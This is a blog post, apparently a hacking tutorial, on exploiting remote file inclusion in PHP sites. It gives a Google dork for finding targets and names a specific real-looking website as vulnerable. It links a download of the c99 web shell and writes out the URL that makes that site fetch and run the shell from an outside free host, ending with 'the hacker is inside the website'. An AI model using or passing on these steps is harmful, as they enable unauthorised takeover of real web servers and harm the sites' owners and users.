Remote file inclusion is basically aone of the most common vulnerability found in web application. Thistype of vulnerability allows the Hacker or attacker to add a remotefile on the web server. If the attacker gets successful in performingthe attack he/she will gain access to the web server and hence canexecute any command on it.
Searching the Vulnerability
Remote File inclusion vulnerability is usually occured in those sites which have a navigation similar to the below one
www.Targetsite.com/index.php?page=Anything
To find the vulnerability the hacker will most commonly use the following Google Dork
“inurl:index.php?page=”
This will show all the pages which has “index.php?page=”in their URL, Now to test whether the website is vulnerable to Remotefile Inclusion or not the hacker use the following command
www.targetsite.com/index.php?page=www.google.com
Lets say that the target website is http://www.cbspk.com
So the hacker url will become
http://www.cbspk.com/v2/index.php?page=http://www.google.com
If after executing the command thehomepage of the google shows up then then the website is vulnerable tothis attack if it does not come up then you should look for a newtarget. In my case after executing the above command in the address barGoogle homepage shows up indicating that the website is vulnerable tothis attack
Nowthe hacker would upload the shells to gain access.
The most commonshells used are c99 shell or r57 shell. I would use c99 shell. You candownload c99 shell from the link below:
http://www.ziddu.com/download/13093723/c99shell.zip.html
The hacker would first upload the shells to a webhosting site such as ripway.com, 110mb.com etc.
Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is
http://h1.ripway.com/rafaybaloch/c99.txt
Now here is how a hacker would execute the following command to gain access
http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/rafaybaloch/c99.txt?
Rememberto add “?” at the end of url or else the shell will not execute.
Nowthe hacker is inside the website and he could do anything with it
Thanks...
0 comments:
Post a Comment